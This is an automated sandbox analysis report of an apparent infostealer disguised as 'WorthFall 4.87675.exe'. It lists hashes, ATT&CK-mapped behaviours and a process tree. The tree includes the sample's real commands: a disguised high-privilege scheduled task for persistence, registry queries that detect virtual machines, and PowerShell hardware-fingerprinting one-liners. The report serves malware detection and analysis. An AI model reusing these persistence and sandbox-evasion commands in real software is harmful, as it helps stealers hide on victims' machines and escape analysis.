5f2309e0d3b363293935dff0551651eee14c16265f121576db56abd717168553

Analysis

max time kernel
152s
max time network
159s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
07/08/2026, 01:53

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
WorthFall 4.87675.exe
Size 105.8MB
Sample260807-ca144sywex
SHA256 5f2309e0d3b363293935dff0551651eee14c16265f121576db56abd717168553
MD5 2e9e7f4ce52b9c518fa57fa3b8caa867
SHA1 50332dbbbecae08f136bd42aa3752bd6585715c6
SHA512 7a9ce80b89b332f6f54fb30dec28ac985c7307abffb49305b3d3374abb0a708ff86f289be09a2137cc94b6cb045c4ff7b729548caec59eee6f18034dfc2534fb
SSDEEP 3145728:J659fOnCrZ7QYBO3p734oZ5N3yAlj5/GnbQYa/aCp4foLCaR:a16CrFQGqpko0q5Gn8Yaxpaoei
TLSH
T1923833012B99293FF9DF16BD71B4E4D48A26E0FDD7C30A420A1D41AB07A895125FBB7C
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery execution persistence spyware stealer

Malware Config

Signatures

Enumerates VirtualBox registry keys 2 TTPs 6 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxService	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxService	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxGuest	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxGuest	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxMouse	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxMouse	reg.exe

Looks for VirtualBox Guest Additions in registry 2 TTPs 2 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	reg.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 14 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3140	powershell.exe
3368	powershell.exe
4212	powershell.exe
4732	powershell.exe
460	powershell.exe
5904	powershell.exe
5060	powershell.exe
3476	powershell.exe
1364	powershell.exe
824	powershell.exe
5380	powershell.exe
3128	powershell.exe
11524	powershell.exe
7448	powershell.exe

Looks for VMWare Tools registry key 2 TTPs 2 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	reg.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	reg.exe

Looks for VMWare services registry key. 1 TTPs 2 IoCs

defense_evasion

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\vmci	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\vmci	reg.exe

Executes dropped EXE 10 IoCs

pid	Process
2280	setup.exe
4812	setup.exe
5316	setup.exe
4916	setup.exe
3304	setup.exe
1392	setup.exe
9236	python.exe
9336	python.exe
7080	python.exe
10940	python.exe

Loads dropped DLL 64 IoCs

pid	Process
4740	WorthFall 4.87675.exe
4740	WorthFall 4.87675.exe
4812	setup.exe
4812	setup.exe
4812	setup.exe
4812	setup.exe
4812	setup.exe
1392	setup.exe
1392	setup.exe
1392	setup.exe
1392	setup.exe
1392	setup.exe
7080	python.exe
9336	python.exe
9236	python.exe
9336	python.exe
7080	python.exe
9236	python.exe
9336	python.exe
9336	python.exe
9236	python.exe
9236	python.exe
7080	python.exe
7080	python.exe
9336	python.exe
9236	python.exe
7080	python.exe
7080	python.exe
9236	python.exe
9336	python.exe
7080	python.exe
9236	python.exe
9336	python.exe
9236	python.exe
7080	python.exe
9336	python.exe
9236	python.exe
7080	python.exe
9336	python.exe
7080	python.exe
9236	python.exe
9336	python.exe
9336	python.exe
7080	python.exe
9236	python.exe
9236	python.exe
9336	python.exe
7080	python.exe
7080	python.exe
7080	python.exe
7080	python.exe
7080	python.exe
7080	python.exe
7080	python.exe
7080	python.exe
7080	python.exe
7080	python.exe
7080	python.exe
7080	python.exe
7080	python.exe
7080	python.exe
7080	python.exe
9336	python.exe
9336	python.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Contacts third-party web service commonly abused for C2 1 TTPs 5 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
9	discord.com
11	discord.com
15	discord.com
18	discord.com
1	discord.com

Looks up external IP address via web service 1 TTPs 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	ipinfo.io
16	ipinfo.io
19	ipinfo.io

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Discovers running processes 1 TTPs 8 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
7212	tasklist.exe
7568	tasklist.exe
7904	tasklist.exe
8088	tasklist.exe
5416	tasklist.exe
5580	tasklist.exe
10040	tasklist.exe
5392	tasklist.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 51 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
7756	cmd.exe
4328	cmd.exe
7392	cmd.exe
3300	cmd.exe
1092	cmd.exe
3908	cmd.exe
5012	cmd.exe
460	cmd.exe
2620	cmd.exe
5772	cmd.exe
7996	cmd.exe
3316	cmd.exe
5920	cmd.exe
1028	cmd.exe
1408	cmd.exe
8980	cmd.exe
8976	cmd.exe
11068	cmd.exe
7912	cmd.exe
2580	cmd.exe
4932	cmd.exe
8924	cmd.exe
10224	cmd.exe
1436	cmd.exe
4556	cmd.exe
5132	cmd.exe
4308	cmd.exe
2800	cmd.exe
6376	cmd.exe
2288	cmd.exe
3164	cmd.exe
3760	cmd.exe
5484	cmd.exe
3396	cmd.exe
6952	cmd.exe
10068	cmd.exe
9628	cmd.exe
1580	cmd.exe
1592	cmd.exe
5852	cmd.exe
3836	cmd.exe
1476	cmd.exe
4228	cmd.exe
4092	cmd.exe
5856	cmd.exe
5364	cmd.exe
1556	cmd.exe
712	cmd.exe
5372	cmd.exe
10408	cmd.exe
4288	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WorthFall 4.87675.exe

Checks processor information in registry 2 TTPs 48 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	setup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	setup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	setup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	setup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	setup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	setup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	setup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	setup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	setup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	setup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	setup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	setup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	setup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	setup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	setup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	setup.exe

Kills process with taskkill 8 IoCs

defense_evasion

pid	Process
6844	taskkill.exe
9916	taskkill.exe
10324	taskkill.exe
8172	taskkill.exe
9360	taskkill.exe
7628	taskkill.exe
4936	taskkill.exe
2812	taskkill.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5252	schtasks.exe

Suspicious behavior: EnumeratesProcesses 42 IoCs

pid	Process
5904	powershell.exe
5904	powershell.exe
5904	powershell.exe
5060	powershell.exe
5060	powershell.exe
5060	powershell.exe
3140	powershell.exe
3140	powershell.exe
3140	powershell.exe
3368	powershell.exe
3368	powershell.exe
3368	powershell.exe
4212	powershell.exe
4212	powershell.exe
3476	powershell.exe
3476	powershell.exe
3476	powershell.exe
4212	powershell.exe
4732	powershell.exe
4732	powershell.exe
4732	powershell.exe
1364	powershell.exe
1364	powershell.exe
1364	powershell.exe
460	powershell.exe
460	powershell.exe
460	powershell.exe
824	powershell.exe
824	powershell.exe
824	powershell.exe
5380	powershell.exe
5380	powershell.exe
5380	powershell.exe
3128	powershell.exe
3128	powershell.exe
3128	powershell.exe
11524	powershell.exe
11524	powershell.exe
11524	powershell.exe
7448	powershell.exe
7448	powershell.exe
7448	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2280	setup.exe
Token: SeCreatePagefilePrivilege	2280	setup.exe
Token: SeDebugPrivilege	5904	powershell.exe
Token: SeDebugPrivilege	5060	powershell.exe
Token: SeShutdownPrivilege	2280	setup.exe
Token: SeCreatePagefilePrivilege	2280	setup.exe
Token: SeIncreaseQuotaPrivilege	5904	powershell.exe
Token: SeSecurityPrivilege	5904	powershell.exe
Token: SeTakeOwnershipPrivilege	5904	powershell.exe
Token: SeLoadDriverPrivilege	5904	powershell.exe
Token: SeSystemProfilePrivilege	5904	powershell.exe
Token: SeSystemtimePrivilege	5904	powershell.exe
Token: SeProfSingleProcessPrivilege	5904	powershell.exe
Token: SeIncBasePriorityPrivilege	5904	powershell.exe
Token: SeCreatePagefilePrivilege	5904	powershell.exe
Token: SeBackupPrivilege	5904	powershell.exe
Token: SeRestorePrivilege	5904	powershell.exe
Token: SeShutdownPrivilege	5904	powershell.exe
Token: SeDebugPrivilege	5904	powershell.exe
Token: SeSystemEnvironmentPrivilege	5904	powershell.exe
Token: SeRemoteShutdownPrivilege	5904	powershell.exe
Token: SeUndockPrivilege	5904	powershell.exe
Token: SeManageVolumePrivilege	5904	powershell.exe
Token: 33	5904	powershell.exe
Token: 34	5904	powershell.exe
Token: 35	5904	powershell.exe
Token: 36	5904	powershell.exe
Token: SeIncreaseQuotaPrivilege	5060	powershell.exe
Token: SeSecurityPrivilege	5060	powershell.exe
Token: SeTakeOwnershipPrivilege	5060	powershell.exe
Token: SeLoadDriverPrivilege	5060	powershell.exe
Token: SeSystemProfilePrivilege	5060	powershell.exe
Token: SeSystemtimePrivilege	5060	powershell.exe
Token: SeProfSingleProcessPrivilege	5060	powershell.exe
Token: SeIncBasePriorityPrivilege	5060	powershell.exe
Token: SeCreatePagefilePrivilege	5060	powershell.exe
Token: SeBackupPrivilege	5060	powershell.exe
Token: SeRestorePrivilege	5060	powershell.exe
Token: SeShutdownPrivilege	5060	powershell.exe
Token: SeDebugPrivilege	5060	powershell.exe
Token: SeSystemEnvironmentPrivilege	5060	powershell.exe
Token: SeRemoteShutdownPrivilege	5060	powershell.exe
Token: SeUndockPrivilege	5060	powershell.exe
Token: SeManageVolumePrivilege	5060	powershell.exe
Token: 33	5060	powershell.exe
Token: 34	5060	powershell.exe
Token: 35	5060	powershell.exe
Token: 36	5060	powershell.exe
Token: SeShutdownPrivilege	4916	setup.exe
Token: SeCreatePagefilePrivilege	4916	setup.exe
Token: SeShutdownPrivilege	2280	setup.exe
Token: SeCreatePagefilePrivilege	2280	setup.exe
Token: SeDebugPrivilege	3140	powershell.exe
Token: SeDebugPrivilege	5416	tasklist.exe
Token: SeDebugPrivilege	3368	powershell.exe
Token: SeShutdownPrivilege	4916	setup.exe
Token: SeCreatePagefilePrivilege	4916	setup.exe
Token: SeShutdownPrivilege	2280	setup.exe
Token: SeCreatePagefilePrivilege	2280	setup.exe
Token: SeDebugPrivilege	5580	tasklist.exe
Token: SeDebugPrivilege	4212	powershell.exe
Token: SeDebugPrivilege	3476	powershell.exe
Token: SeShutdownPrivilege	4916	setup.exe
Token: SeCreatePagefilePrivilege	4916	setup.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4740	WorthFall 4.87675.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4740 wrote to memory of 5252	4740	WorthFall 4.87675.exe	91
PID 4740 wrote to memory of 2280	4740	WorthFall 4.87675.exe	95
PID 2280 wrote to memory of 2288	2280	setup.exe	96
PID 2280 wrote to memory of 4812	2280	setup.exe	97
PID 2280 wrote to memory of 5316	2280	setup.exe	98
PID 2288 wrote to memory of 2608	2288	cmd.exe	100
PID 2280 wrote to memory of 5856	2280	setup.exe	101
PID 5856 wrote to memory of 5904	5856	cmd.exe	104
PID 2280 wrote to memory of 1580	2280	setup.exe	105
PID 1580 wrote to memory of 5060	1580	cmd.exe	107
PID 4916 wrote to memory of 1592	4916	setup.exe	108
PID 4916 wrote to memory of 3304	4916	setup.exe	109
PID 4916 wrote to memory of 1392	4916	setup.exe	110
PID 1592 wrote to memory of 5640	1592	cmd.exe	113
PID 2280 wrote to memory of 3164	2280	setup.exe	114
PID 3164 wrote to memory of 3200	3164	cmd.exe	116
PID 4916 wrote to memory of 4556	4916	setup.exe	117
PID 2280 wrote to memory of 3300	2280	setup.exe	119
PID 4556 wrote to memory of 4308	4556	cmd.exe	174
PID 3300 wrote to memory of 5692	3300	cmd.exe	122
PID 4916 wrote to memory of 4092	4916	setup.exe	123
PID 2280 wrote to memory of 4932	2280	setup.exe	125
PID 4092 wrote to memory of 6012	4092	cmd.exe	127
PID 4932 wrote to memory of 4392	4932	cmd.exe	128
PID 4916 wrote to memory of 4228	4916	setup.exe	129
PID 4228 wrote to memory of 752	4228	cmd.exe	131
PID 2280 wrote to memory of 1476	2280	setup.exe	132
PID 1476 wrote to memory of 2076	1476	cmd.exe	134
PID 4916 wrote to memory of 5012	4916	setup.exe	135
PID 5012 wrote to memory of 3816	5012	cmd.exe	137
PID 2280 wrote to memory of 4328	2280	setup.exe	138
PID 4328 wrote to memory of 1096	4328	cmd.exe	140
PID 4916 wrote to memory of 3908	4916	setup.exe	141
PID 2280 wrote to memory of 5132	2280	setup.exe	143
PID 3908 wrote to memory of 544	3908	cmd.exe	145
PID 5132 wrote to memory of 5252	5132	cmd.exe	146
PID 4916 wrote to memory of 1092	4916	setup.exe	147
PID 1092 wrote to memory of 2736	1092	cmd.exe	149
PID 2280 wrote to memory of 2580	2280	setup.exe	150
PID 2580 wrote to memory of 5732	2580	cmd.exe	152
PID 4916 wrote to memory of 3760	4916	setup.exe	153
PID 3760 wrote to memory of 3500	3760	cmd.exe	155
PID 2280 wrote to memory of 5852	2280	setup.exe	156
PID 5852 wrote to memory of 3052	5852	cmd.exe	186
PID 4916 wrote to memory of 3316	4916	setup.exe	159
PID 3316 wrote to memory of 3140	3316	cmd.exe	161
PID 2280 wrote to memory of 5364	2280	setup.exe	162
PID 5364 wrote to memory of 5416	5364	cmd.exe	164
PID 2280 wrote to memory of 5920	2280	setup.exe	165
PID 5920 wrote to memory of 3368	5920	cmd.exe	167
PID 4916 wrote to memory of 5484	4916	setup.exe	168
PID 5484 wrote to memory of 5580	5484	cmd.exe	170
PID 2280 wrote to memory of 3836	2280	setup.exe	171
PID 3836 wrote to memory of 4212	3836	cmd.exe	173
PID 4916 wrote to memory of 4308	4916	setup.exe	174
PID 4308 wrote to memory of 3476	4308	cmd.exe	176
PID 4916 wrote to memory of 1556	4916	setup.exe	177
PID 1556 wrote to memory of 2464	1556	cmd.exe	179
PID 4916 wrote to memory of 2800	4916	setup.exe	180
PID 2800 wrote to memory of 4732	2800	cmd.exe	182
PID 2280 wrote to memory of 1028	2280	setup.exe	183
PID 4916 wrote to memory of 1408	4916	setup.exe	185
PID 1028 wrote to memory of 1364	1028	cmd.exe	187
PID 1408 wrote to memory of 460	1408	cmd.exe	204

C:\Users\Admin\AppData\Local\Temp\WorthFall 4.87675.exe
"C:\Users\Admin\AppData\Local\Temp\WorthFall 4.87675.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:4740
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /create /tn "WindowsThemeService" /tr "\"C:\Users\Admin\AppData\Local\Programs\setup\setup.exe\"" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Scheduled Task/Job: Scheduled Task
  PID:5252
- C:\Users\Admin\AppData\Local\Programs\setup\setup.exe
  "C:\Users\Admin\AppData\Local\Programs\setup\setup.exe"
  2⤵
  - Executes dropped EXE
  - Checks processor information in registry
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2280
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "getmac"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2288
  - - C:\Windows\system32\getmac.exe
      getmac
      4⤵
      PID:2608
- - C:\Users\Admin\AppData\Local\Programs\setup\setup.exe
    "C:\Users\Admin\AppData\Local\Programs\setup\setup.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\setup" --gpu-preferences=SAAAAAAAAADgAAAEAAAAAAAAAAAAAGAAAQAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1636,i,7847110805982240971,12312540954519497366,262144 --enable-features=PdfUseShowSaveFilePicker --disable-features=DropInputEventsWhilePaintHolding,LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --pseudonymization-salt-handle=1640,i,3829200340884661476,12387655767197528552,4 --trace-process-track-uuid=3190708988185955192 --mojo-platform-channel-handle=1632 /prefetch:2
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:4812
- - C:\Users\Admin\AppData\Local\Programs\setup\setup.exe
    "C:\Users\Admin\AppData\Local\Programs\setup\setup.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\setup" --field-trial-handle=1636,i,7847110805982240971,12312540954519497366,262144 --enable-features=PdfUseShowSaveFilePicker --disable-features=DropInputEventsWhilePaintHolding,LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --pseudonymization-salt-handle=1640,i,3829200340884661476,12387655767197528552,4 --trace-process-track-uuid=3190708989122997041 --mojo-platform-channel-handle=1704 /prefetch:11
    3⤵
    - Executes dropped EXE
    PID:5316
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object -ExpandProperty Model""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5856
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object -ExpandProperty Model"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5904
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance -ClassName Win32_BIOS | Select-Object -ExpandProperty Manufacturer""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1580
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance -ClassName Win32_BIOS | Select-Object -ExpandProperty Manufacturer"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5060
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3164
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions"
      4⤵
      Looks for VirtualBox Guest Additions in registry
      PID:3200
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\ControlSet001\Services\VBoxGuest""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3300
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SYSTEM\ControlSet001\Services\VBoxGuest"
      4⤵
      Enumerates VirtualBox registry keys
      PID:5692
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\ControlSet001\Services\VBoxMouse""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4932
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SYSTEM\ControlSet001\Services\VBoxMouse"
      4⤵
      Enumerates VirtualBox registry keys
      PID:4392
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\ControlSet001\Services\VBoxService""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1476
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SYSTEM\ControlSet001\Services\VBoxService"
      4⤵
      Enumerates VirtualBox registry keys
      PID:2076
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4328
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools"
      4⤵
      Looks for VMWare Tools registry key
      PID:1096
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\ControlSet001\Services\vmci""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5132
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SYSTEM\ControlSet001\Services\vmci"
      4⤵
      Looks for VMWare services registry key.
      PID:5252
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\ControlSet001\Services\vmhgfs""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2580
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SYSTEM\ControlSet001\Services\vmhgfs"
      4⤵
      PID:5732
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Virtual Machine\Guest\Parameters""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5852
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Virtual Machine\Guest\Parameters"
      4⤵
      PID:3052
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5364
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:5416
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Add-Type -AssemblyName System.Windows.Forms; $p=[System.Windows.Forms.Cursor]::Position; Write-Output ($p.X.ToString() + ',' + $p.Y.ToString())""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5920
